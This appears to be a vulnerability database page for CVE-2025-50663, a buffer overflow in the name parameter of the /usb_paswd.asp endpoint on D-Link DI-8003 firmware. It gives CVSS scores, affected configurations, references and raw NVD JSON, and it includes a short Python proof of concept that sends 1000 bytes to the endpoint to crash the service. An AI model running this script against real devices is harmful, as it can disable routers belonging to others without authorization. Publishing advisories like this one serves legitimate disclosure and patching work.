CVE-2025-50663

Description

A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper handling of the name parameter in the /usb_paswd.asp endpoint.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:di-8003_firmware:16.07.26a1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DI-8003 16.07.26A1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_check(target_ip):
    url = f"http://{target_ip}/usb_paswd.asp"
    # Payload to trigger buffer overflow
    # Sending a large string to crash the service
    payload = "A" * 1000 
    
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "name": payload
    }

    try:
        print(f"[+] Sending payload to {url}")
        response = requests.post(url, data=data, headers=headers, timeout=5)
        print(f"[+] Response status: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed (Service may be down): {e}")

if __name__ == "__main__":
    target = "192.168.0.1" # Replace with target IP
    exploit_check(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-50663
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-50663
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-50663/
[4] VulDB https://vuldb.com/cve/CVE-2025-50663
[5] https://github.com/xiaotea/iot-vulnerability-collection/blob/main/README.md
[6] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10505
[7] https://www.dlink.com/en/security-bulletin/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-50663", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:24:16.920", "lastModified": "2026-04-22T16:16:51.350", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to improper handling of the name parameter in the /usb_paswd.asp endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:di-8003_firmware:16.07.26a1:*:*:*:*:*:*:*", "matchCriteriaId": "FA25536C-1B96-4611-BF35-A0AD24747929"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:*", "matchCriteriaId": "E6644787-50D7-4190-A2E3-DD54F43AE38C"}]}]}], "references": [{"url": "https://github.com/xiaotea/iot-vulnerability-collection/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10505", "source": "[email protected]"}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}